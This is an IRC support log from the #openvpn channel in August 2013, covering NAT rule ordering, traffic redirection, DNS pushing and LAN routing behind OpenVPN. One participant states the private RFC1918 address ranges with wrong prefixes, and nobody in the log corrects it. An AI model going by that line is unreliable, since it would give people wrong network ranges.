12:47 < Pei> [1730:165717] -A POSTROUTING -o eth0 -j MASQUERADE
12:47 < Pei> [1:247] -A POSTROUTING -s 10.1.10.0/24 -j SNAT --to-source 23.90.
12:47 < Pei> [1:247] -A POSTROUTING -s 10.1.10.0/24 -j SNAT --to-source 23.90.5.7 even
12:48 <+pekster> It's unwise to use SNAT without an output interface
12:48 <+pekster> Further, the MASQ rule at the top is always hit for anything leaving eth0, thus the 2nd rules will never be hit for traffic going out that interface
12:48 <+pekster> SNAT/MASQUERADE are terminating rules
12:49 < Pei> okay now it shows me connecting from .7
12:50 < Pei> but you say i should use -A POSTROUTING -o eth0 -s 10.1.10.0/24 -j SNAT --to-source 23.90.5.7 ?
12:50 < Pei> instead of the other?
12:50 < Thermi> yes.
12:51 < Thermi> Otherwise even packets going to your vpn host only are SNAT'ed
12:51 < Thermi> and that's unnecessary and only increases the load on your box.
12:51 < Pei> i see
12:52 < Pei> welp, i appreciate the help guys
12:52 < Pei> thanks a bunch
12:52 <+pekster> Not quite; to the host would never pass nat/POSTROUTING (it would go into the INPUT filter chain.) It would "hide" the source of all outbound connections to "23.90." [sic] which isn't a complete IP address
12:52 < Pei> no that 23.90 was a typo i hit enter before i finished it
12:52 <+pekster> http://www.adminsehow.com/wp-content/uploads/2011/09/packet_flow9.png
12:53 <+pekster> That was more a point to Thermi; packes bound for the host itself will never get SNAT'd, but packets traversing or sent from the host could
12:53 < Thermi> okay okay
12:53 <+pekster> Pei: More specific rules first, fallback rules last
12:54 <+pekster> That's all that matters for your setup
12:54 < Pei> ah
12:54 <+pekster> -A POSTROUTING -s $VPN_NET/24 -o $WAN_IFACE -j SNAT --to-source $IP_HERE
12:54 <+pekster> Then a generic fallback
12:55 < Pei> what kind of generic fallback do i need?
12:55 < Pei> i don't need anything do i?
12:55 <+pekster> If you're hosting RFC1918 that's unroutable on "The Internet"
12:56 < Pei> sorry?
12:56 <+pekster> MASQUERADE is your generic NAT rule in your case
12:57 < Pei> so i keep the -A POSTROUTING -o eth0 -j MASQUERADE
12:57 <+pekster> See a very basic example of mine with comments if this confuses you, or one of the many guides in the #netfilter /TOPIC . My simplistic & commented IPv4 border router example is: https://github.com/QueuingKoala/netfilter-samples/blob/master/edge-router-basic/iptables.rules
12:57 <@vpnHelper> Title: netfilter-samples/edge-router-basic/iptables.rules at master · QueuingKoala/netfilter-samples · GitHub (at github.com)
12:57 < Pei> after the snat rule?
12:57 <+pekster> Specifically, read my comments above line 25
12:57 <+pekster> Yes
12:57 < Thermi> RFC 1918 is your 10.0.0.0/8, 172.16.0.0/16, 192.168.0.0/24 subnet
12:58 < Thermi> class A, B and C nets
12:58 <+pekster> Classess are out, CIDR is in! ;)
12:58 < Thermi> okay okay. :P
12:58 < Thermi> At least I used the CIDR notation.
12:58 < Thermi> you can of course use other netmasks
12:58 -!- stasher [~dan@cpe-24-24-221-190.socal.res.rr.com] has quit [Quit: leaving]
12:58  * pekster routes Thermi to "Class-E" IP space
12:59 < Pei> HEHE
12:59  * Thermi uses IPV6
12:59 < Thermi> :P
13:00 <+pekster> I'm dual-stacked too, but not natively ($ISP doesn't support it yet)
13:00 < Thermi> same.
13:00 < Thermi> I want IPV6. :<
13:00 < Thermi> I'd even do something with VPN to get ipv6
13:00 < Pei> yeah my isp don't support it yet either
13:00 <+pekster> OpenVPN >=2.3.0 can transport IPv6 in the tunnel, or tunnel across IPv6
13:01 < Thermi> I  even thought about purchasing a vserver and then running ipv6 traffic to the vserver over a vpn
13:01 < Thermi> so I can access v6 sites
13:01 <+pekster> How can you not if you're on a broker?
13:02 < Thermi> I'm not having v6 access to the internet, only v4. But I'm trying to use v6 in my lan.
13:02 < Thermi> Well, because v6 > v4
13:02 <+pekster> Oh. tunnelbroker.net or sixxs.net for (free) IPv6 brokers
13:02 <@EugeneKay> RFC 5737 space ftw
13:03 <+pekster> EugeneKay, you might appreciate this:
13:03 <+pekster> !topsecret
13:03 <@vpnHelper> "topsecret" is (#1) if your setup is so top secret that you cant post your configs or logs, please leave now and go find support you trust. or (#2) Clever readers may attempt to use RFC5737 to represent arbitrary public IPs one wishes to hide. Unclever attempts may be ignored with prejudice.
13:03 < Pei> what's rfc stand for
13:03 <@EugeneKay> Hehehe
13:03 <@EugeneKay> I like that
13:03 < Thermi> Request for comment.
13:03 -!- jareth_ [~jareth_@bak.project-treadstone.nl] has joined #openvpn
13:04 -!- jareth_ [~jareth_@bak.project-treadstone.nl] has quit [Client Quit]
13:06 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
13:09 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Client Quit]
13:11 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
13:16 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
14:01 -!- Monotoko [~Monotoko@unaffiliated/monotoko] has quit [Quit: ZNC - http://znc.in]
14:18 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 245 seconds]
14:30 -!- oO0Oo [Elite6542@gateway/shell/elitebnc/x-oowuklvsatuobfvv] has joined #openvpn
14:55 -!- oO0Oo [Elite6542@gateway/shell/elitebnc/x-oowuklvsatuobfvv] has quit [Excess Flood]
15:03 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-ipdazihmbwgozhks] has joined #openvpn
15:05 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Ping timeout: 260 seconds]
15:30 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-ipdazihmbwgozhks] has quit [Excess Flood]
15:33 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-hiafirpqsgntrdvn] has joined #openvpn
15:35 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
16:05 -!- p3rror [~p3rror@41.248.180.84] has joined #openvpn
16:22 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
16:28 -!- Eagleman [~Eagleman@vpn.eagleman.net] has joined #openvpn
16:53 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
17:10 -!- devdel [~d3vd3l@h-237-75.a199.priv.bahnhof.se] has quit []
17:31 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 264 seconds]
17:42 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
17:49 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 264 seconds]
18:10 -!- p3rror [~p3rror@41.248.180.84] has quit [Quit: Leaving]
18:29 -!- master_of_master [~master_of@p4FD7BDF0.dip0.t-ipconnect.de] has joined #openvpn
18:45 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
19:04 -!- Naphatul [~Naphatul@77.28.128.69] has joined #openvpn
19:22 < Naphatul> i finally managed to set up and connect to my server but i can't do anything once i'm connected
19:22 < Naphatul> any ideas on what i'm doing wrong?
19:23 <+pekster> Naphatul, clarify "anything"
19:24 < Naphatul> no internet access
19:24 <+pekster> !goal
19:24 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
19:24 < Naphatul> i used the default server config file only adjusted for certificate paths
19:24 <+pekster> Sounds like your goal here is to redirect client external Internet access through the VPN?
19:25 <+pekster> That is *not* part of the default (the sample) configs, FYI
19:25 < Naphatul> yep i want client->server->internet
19:25 <+pekster> !redirect
19:25 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
19:25 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
19:28 < Naphatul> small problem, i did openvpn /etc/openvpn/server.conf to start it but now it won't respond to anything
19:31 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
19:35 -!- johnny [~johnny@ip70-161-200-98.hr.hr.cox.net] has joined #openvpn
19:35 -!- johnny is now known as Guest72154
19:40 -!- Guest72154 [~johnny@ip70-161-200-98.hr.hr.cox.net] has left #openvpn []
19:40 -!- Guest72154 [~johnny@ip70-161-200-98.hr.hr.cox.net] has joined #openvpn
19:42 -!- Guest72154 [~johnny@ip70-161-200-98.hr.hr.cox.net] has left #openvpn []
19:44 -!- johnny_123 [~johnny@ip70-161-200-98.hr.hr.cox.net] has joined #openvpn
19:45 < johnny_123> !welcome
19:45 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
19:45 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
19:46 < johnny_123> What are the troubleshooting steps for determining why I cannot connect to the internet using openvpn.
19:48 -!- sauce [~sauce@unaffiliated/sauce] has quit [Ping timeout: 245 seconds]
19:49 -!- johnny_123 [~johnny@ip70-161-200-98.hr.hr.cox.net] has quit [Client Quit]
19:49 -!- [1]JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
19:49 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Ping timeout: 264 seconds]
19:49 <+pekster> Naphatul: OpenVPN will terminate on a SIGTERM, or see the manpage for signals to control it
19:50 -!- sauce [~sauce@unaffiliated/sauce] has joined #openvpn
19:51 -!- [1]JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Read error: Connection reset by peer]
19:54 < Naphatul> i'm having trouble with DNS, i can't get it to forward it
19:55 < Naphatul> the client is saying the the server is also the DHCP server
19:55 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
19:56 < Naphatul> and the dns values are garbage
19:57 <+pekster> You can push DNS (see the --dhcp-option config directive, and generally this one is pushed) but it's up to the client to actually use the pushed server. Windows offers it to the tun/tap device on setup, although how the OS chooses to deal with this combined with the physical interfaces' DNS is up to the OS
19:57 < Naphatul> nvm i'm an idiot i forgot to uncoment the lines
19:57 <+pekster> googleDNS is nice; try to avoid openDNS becuase:
19:57 <+pekster> !opendns
19:57 <@vpnHelper> "opendns" is You should avoid using OpenDNS for pushed DNS servers as they violate spec and send you to ad/search domains for mistyped URLs. Use GoogleDNS instead. See !dns for more info.
20:00 < Naphatul> this is weird, now my IP is that of the server but i still can't watch hulu apparently?
20:01 -!- Eagleman [~Eagleman@vpn.eagleman.net] has quit [Ping timeout: 245 seconds]
20:01 < Naphatul> the server should be in new york
20:01 < dvl> pekster: what dynamic dns solutions have you seen used?  (I want to update the DNS for my laptop if it connects via the VPN, so the hostname always points to the right IP address).
20:04 <+pekster> Years and years ago I used no-ip, but today I have raw access to my zonefile on a host with shell access, so I have a script that updates my zone and requests a re-load
20:04  * pekster "does it himself"
20:05 < dvl> pekster: I use no-ip.org for my home IP address, but in this case, I also run local DNS servers for stuff at home.
20:20 -!- sauce [~sauce@unaffiliated/sauce] has quit [Ping timeout: 245 seconds]
20:22 -!- sauce [~sauce@unaffiliated/sauce] has joined #openvpn
20:23 -!- HyperGli_ [~HyperGlid@222.211.120.74] has quit [Remote host closed the connection]
20:23 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has joined #openvpn
20:25 -!- HyperGli_ [~HyperGlid@222.211.120.74] has joined #openvpn
20:27 -!- sauce [~sauce@unaffiliated/sauce] has quit [Ping timeout: 276 seconds]
20:28 -!- sauce [~sauce@unaffiliated/sauce] has joined #openvpn
20:28 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has quit [Ping timeout: 245 seconds]
20:30 -!- HyperGli_ [~HyperGlid@222.211.120.74] has quit [Remote host closed the connection]
20:31 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has joined #openvpn
20:37 -!- HyperGli_ [~HyperGlid@222.211.120.74] has joined #openvpn
20:40 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has quit [Ping timeout: 260 seconds]
20:47 -!- Naphatul [~Naphatul@77.28.128.69] has quit [Quit: Leaving]
21:17 -!- HyperGli_ [~HyperGlid@222.211.120.74] has quit [Remote host closed the connection]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:02 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:07 -!- ddsd [~tt@unaffiliated/deadside] has joined #openvpn
22:07 -!- ddsd [~tt@unaffiliated/deadside] has left #openvpn []
--- Day changed Sun Aug 18 2013
00:00 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
00:10 -!- Jonatha__ [~textual@cpe-024-211-233-140.nc.res.rr.com] has joined #openvpn
00:12 < Jonatha__> I'm struggling with the OpenVPN AS (on VMware) and using Bridge Mode
00:12 < Jonatha__> Clients authenticate, but fail to get an IP.  My subnet has a working DHCP server.
00:13 < unixman90001> I could be completely wrong, but I thought that the OVPN server provided the IP
00:14 < Jonatha__> It only does that in Layer 3 mode.
00:15 < Jonatha__> In Layer 2 mode, it requires a dhcp server somewhere on your LAN.  According to the docs as I interpreted them.
00:16 <+pekster> !as
00:16 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
00:17 <+pekster> Related is:
00:17 <+pekster> !download
00:17 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
00:17 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
00:17 -!- Jonatha__ [~textual@cpe-024-211-233-140.nc.res.rr.com] has left #openvpn ["Textual IRC Client: www.textualapp.com"]
01:05 -!- dna6a [~dna6a@203-206-184-111.perm.iinet.net.au] has quit [Quit: ZNC - http://znc.in]
01:05 -!- rob0 [rob0@pdpc/valentine/postfixninja/rob0] has quit [Ping timeout: 248 seconds]
01:06 -!- rob0 [rob0@pdpc/valentine/postfixninja/rob0] has joined #openvpn
01:07 -!- dna6a [~dna6a@203-206-184-111.perm.iinet.net.au] has joined #openvpn
01:08 -!- dna6a [~dna6a@203-206-184-111.perm.iinet.net.au] has quit [Client Quit]
01:10 -!- dna6a [~dna6a@203-206-184-111.perm.iinet.net.au] has joined #openvpn
01:26 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Ping timeout: 246 seconds]
01:28 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
01:59 -!- Fr0ntSight_ [~ian@cpe-76-87-81-229.socal.res.rr.com] has joined #openvpn
01:59 -!- Fr0ntSight [~ian@cpe-76-87-81-229.socal.res.rr.com] has quit [Read error: Connection reset by peer]
01:59 -!- Fr0ntSight_ is now known as Fr0ntSight
02:03 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-hiafirpqsgntrdvn] has quit [Excess Flood]
02:06 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-vufzsqfzcfdiquzt] has joined #openvpn
03:36 -!- Fr0ntSight [~ian@cpe-76-87-81-229.socal.res.rr.com] has left #openvpn []
03:37 -!- Fr0ntSight_ [~ian@cpe-76-87-81-229.socal.res.rr.com] has joined #openvpn
03:37 -!- Fr0ntSight_ [~ian@cpe-76-87-81-229.socal.res.rr.com] has quit [Client Quit]
03:43 -!- ade_b [~Ade@p57A565D6.dip0.t-ipconnect.de] has joined #openvpn
03:43 -!- ade_b [~Ade@p57A565D6.dip0.t-ipconnect.de] has quit [Changing host]
03:43 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
04:06 -!- badtab [tomboy@gateway/shell/blinkenshell.org/x-rayfkcpptrdbdoet] has quit [Remote host closed the connection]
05:07 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
05:23 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Read error: Operation timed out]
05:23 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
05:42 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
05:47 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
06:00 -!- EmLeX [~emx@unaffiliated/emlex] has quit [Ping timeout: 264 seconds]
06:17 -!- nohitall [nohitall@gateway/shell/anapnea.net/x-xlmtksqybejksdjy] has left #openvpn []
06:27 -!- backjlack_ [~quassel@86.126.2.53] has joined #openvpn
06:27 -!- backjlack_ [~quassel@86.126.2.53] has quit [Remote host closed the connection]
06:31 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Ping timeout: 264 seconds]
06:33 -!- p3rror [~p3rror@41.248.168.25] has joined #openvpn
06:39 -!- kro[au] [~thatguy@kgovps.com] has quit [Excess Flood]
06:39 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has quit [Remote host closed the connection]
06:58 -!- mcp [~mcp@wolk-project.de] has quit [Remote host closed the connection]
07:07 -!- Varazir [~mircwars@c-94-255-133-96.cust.bredband2.com] has quit [Ping timeout: 256 seconds]
07:15 -!- kro[au] [~thatguy@kgovps.com] has joined #openvpn
07:18 -!- Varazir [~mircwars@c-94-255-133-96.cust.bredband2.com] has joined #openvpn
07:24 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
07:36 -!- Davst [~dstenbec@h-133-120.a314.priv.bahnhof.se] has joined #openvpn
07:44 < Davst> !welcome
07:44 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
07:44 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
07:52 -!- Davst [~dstenbec@h-133-120.a314.priv.bahnhof.se] has quit [Ping timeout: 245 seconds]
08:31 -!- sauce [~sauce@unaffiliated/sauce] has quit [Quit: sauce]
08:31 -!- sauce [~sauce@unaffiliated/sauce] has joined #openvpn
08:39 -!- gucki [~gucki@84-72-9-220.dclient.hispeed.ch] has quit [Remote host closed the connection]
08:40 -!- sauce [~sauce@unaffiliated/sauce] has quit [Ping timeout: 240 seconds]
08:52 -!- sauce [~sauce@unaffiliated/sauce] has joined #openvpn
08:53 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
08:57 -!- sauce [~sauce@unaffiliated/sauce] has quit [Ping timeout: 245 seconds]
08:59 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 268 seconds]
09:00 -!- xbanux1 [~xbanux@triband-mum-59.182.150.246.mtnl.net.in] has joined #openvpn
09:01 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
09:10 -!- sauce [~sauce@unaffiliated/sauce] has joined #openvpn
09:16 -!- crane_ [~crane@static-87-79-93-178.netcologne.de] has joined #openvpn
09:17 -!- sauce [~sauce@unaffiliated/sauce] has quit [Quit: sauce]
09:17 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-egwqaitmodupwuld] has quit [Quit: Leaving]
09:19 -!- sauce [~sauce@unaffiliated/sauce] has joined #openvpn
09:23 -!- Sidewinder [~de@unaffiliated/sidewinder] has joined #openvpn
09:24 < crane_> hi, i would like to run isc dhcp on my tap interface... so i#m following this tutorial but i fail allready bringing up the tap0 interface... http://hans.fugal.net/blog/2009/01/06/putting-openvpn-in-its-place/
09:24 < crane_> has someone an advice for me?
09:31 -!- Sidewinder [~de@unaffiliated/sidewinder] has quit [Quit: Leaving]
09:32 -!- philipp_ [~philipp@chello084113015143.2.12.vie.surfer.at] has joined #openvpn
09:34 -!- p3rror [~p3rror@41.248.168.25] has quit [Ping timeout: 246 seconds]
09:45 -!- Davst [~dstenbec@host-95-199-208-221.mobileonline.telia.com] has joined #openvpn
09:47 -!- convict [~convict@2604:2880::fc04:5824] has left #openvpn ["Linkinus - http://linkinus.com"]
09:53 < dvl> crane_: By fail, what messages?
09:54 < crane_> dvl, true stupud to ask without error message
09:54 < crane_> sry ^^
09:54 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
09:54 < crane_> ehm... i cant bring it up with tcp/tap and auth
09:54 < crane_> i have to disable all and switch to udp untill it fits and he gets up the itnerface
09:55 < crane_> if tcp is enabled i get this one Options error: --proto tcp is ambiguous in this context.  Please specify --proto tcp-server or --proto tcp-client
09:56 < dvl> You're running OpenVPN via tcp or udp?  udp is preferable.  Not sure what you're doing there...
09:56 < crane_> i would like to run it per tcp
09:56 < dvl> Why?
09:57 < dvl> I think you want UDP, e.g. http://www.vpnanonymous.com/openvpn/openvpn-udp-or-tcp-vpn/
09:57 <@vpnHelper> Title: OpenVPN UDP or TCP, Which is Better? | Anonymous VPN (at www.vpnanonymous.com)
09:58 < crane_> long distances :)
09:59 < dvl> You're going to Mars and back?
09:59 < dvl> Have you tried UDP yet?
09:59 < crane_> hrhr, no but usa and europe
09:59 < crane_> i would say thats long
09:59 -!- sauce [~sauce@unaffiliated/sauce] has quit [Ping timeout: 268 seconds]
09:59 < dvl> Start with UDP.
10:00 < crane_> hm... okay i will try
10:00 < crane_> when i run an dhcp server on my tap0 interface will openvpn see that and not answer dhcp questions?
10:01 -!- sauce [~sauce@unaffiliated/sauce] has joined #openvpn
10:01 < dvl> All the advice I've seen is use TCP?  Why?  If you encapsulate TCP within TCP, then the encapsulated TCP will retry, and the VPN TCP will retry, and you get two layers of retrying, which isn't good.
10:02 < crane_> dvl, oh damn... thats ture! did not thought about that
10:02 -!- Davst [~dstenbec@host-95-199-208-221.mobileonline.telia.com] has quit [Ping timeout: 245 seconds]
10:07 -!- Davst [~dstenbec@host-95-199-208-221.mobileonline.telia.com] has joined #openvpn
10:11 < Davst> !welcome
10:11 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
10:11 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
10:12 < Davst> !route
10:12 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind
10:12 <@vpnHelper> the server or client
10:12 < Davst> !serverlan
10:12 < user> OpenVPN is terrible if you have dynamic IPs
10:12 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
10:12 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
10:12 < Davst> !clientlan
10:12 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for
10:12 <@vpnHelper> a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
10:12 < user> !spam
10:12 -!- xbanux1 [~xbanux@triband-mum-59.182.150.246.mtnl.net.in] has quit []
10:13 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 264 seconds]
10:14 -!- Davst [~dstenbec@host-95-199-208-221.mobileonline.telia.com] has quit [Read error: Connection reset by peer]
10:17 <@krzee> <user> OpenVPN is terrible if you have dynamic IPs   <-- you dont know about dyndns?
10:18 <@krzee> ild like to point out how simple it is for 2 openvpn peers to be on dynamic ips AND have no ports open in the firewall, and still have them work correctly
10:18 <@krzee> so ya? i disagree!
10:23 < dvl> user: I have a dynamic IP.  Seems to work fine here.
10:24 < dvl> user: what's more, my OpenVPN server has dynamic IP… not just the clients.
10:30 -!- philipp_ [~philipp@chello084113015143.2.12.vie.surfer.at] has quit [Ping timeout: 268 seconds]
10:38 < user> dvl: I only have dynamic external IPs, since I am not in 1993 I do not use a NAT.
10:39 <+pekster> Oddly, the longer we go forward in time, the "less avialalbe" globally-routable IPv4 IPs are. Enter RFC6598 and other atrocities to handle that
10:44 -!- philipp_ [~philipp@95.211.99.92] has joined #openvpn
10:49 -!- compdoc [~me@c-50-134-135-246.hsd1.co.comcast.net] has joined #openvpn
11:01  * crane_ is happy about his static ip
11:04 <+pekster> Static /48 blocks are better ;)
11:16 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
11:18 -!- Davst [~dstenbec@h-133-120.a314.priv.bahnhof.se] has joined #openvpn
11:18 < Davst> !configs
11:18 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
11:26 < Davst> Hi I've been trying to get a VPN up for a while now and I've been trying to follow the guides you have. At the moment the client connects to the server and establishes a connection, though pinging the servers vpn ip (10.10.0.1) gives no reply. In the guide it says "fix your vpn" but I'm not sure how to do this
11:27 < Davst> the guide being the flowchart for !serverlan
11:34 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
11:36 -!- Devastatr [~devas@186.214.15.27] has joined #openvpn
11:37 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 256 seconds]
11:44 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
11:47 <+pekster> Davst: If the connection is made successfully (without errors in the connection logs from both sides) and you can't ping, check your firewalls
11:47 <+pekster> While "strictly speaking" you don't need pings to work, being able to ping the server is highly usefull to verify the link is working, so at least allow your VPN clients to ping across the tunnel
11:50 < Davst> hm ok
11:51 < Davst> will have to read up on how to get the firewall to let me do pings on the vpn
11:53 < Davst> ah got it working
11:53 < Davst> there is solo much information to try to absorb about this heh
11:53 -!- Devastatr [~devas@186.214.15.27] has quit [Changing host]
11:53 -!- Devastatr [~devas@unaffiliated/devastator] has joined #openvpn
11:53 -!- Devastatr is now known as Devastator
11:57 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
12:17 < Davst> Ok so I've pushed the route 192.168.1.0 255.255.255.0 to the client, the client can ping 192.168.1.1 but not 1.2
12:17 <+pekster> Refer to the flowchart
12:17 <+pekster> It's either a firewall or return-routing issue
12:18 < Davst> ok, thanks
12:18 <+pekster> That's also a poor choice for a server-side network as it's one of the most common CPE LANs
12:19 < Davst> Yeah, noted, need physical access to the other site before i change it though since my parents aren't at all likely to be able to reconfigure it
12:20 < Davst> I'm guessing its the return route in the client specific vpn folder that should be added?
12:20 <+pekster> !route_outside_openvpn
12:20 <@vpnHelper> "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
12:21 < Davst> both routers are the openvpn servers
12:21 < Davst> on each side
12:21 <+pekster> Tools like tcpdump is your friend, so watch traffic across your interfaces and see where packets get lost
12:21 <+pekster> `tcpdump -pni ifWhatever icmp` is a good place to start
12:22 <+pekster> !learn tcpdump as tcpdump is a great troubleshooting tool (Wireshark or the tshark.exe CLI tools for Windows.) To start, try a syntax like `tcpdump -pni ifWhatever`
12:22 <@vpnHelper> Joo got it.
12:23 <+pekster> !learn tcpdump as You can also add filters to the command, like 'icmp' or 'udp port 1194' and the like. Consult the tcpdump docs for details.
12:23 <@vpnHelper> Joo got it.
12:30 -!- master_o1_master [~master_of@p4FD7B501.dip0.t-ipconnect.de] has joined #openvpn
12:31 -!- Davst_ [~dstenbec@host-95-199-208-221.mobileonline.telia.com] has joined #openvpn
12:32 -!- Davst [~dstenbec@h-133-120.a314.priv.bahnhof.se] has quit [Ping timeout: 245 seconds]
12:34 -!- master_of_master [~master_of@p4FD7BDF0.dip0.t-ipconnect.de] has quit [Ping timeout: 264 seconds]
12:35 -!- Davst_ [~dstenbec@host-95-199-208-221.mobileonline.telia.com] has quit [Ping timeout: 245 seconds]
12:48 -!- Davst [~dstenbec@h-133-120.a314.priv.bahnhof.se] has joined #openvpn
12:55 -!- compdoc [~me@c-50-134-135-246.hsd1.co.comcast.net] has quit []
13:05 -!- aegis [~aegis@184.75.214.18] has quit [Ping timeout: 264 seconds]
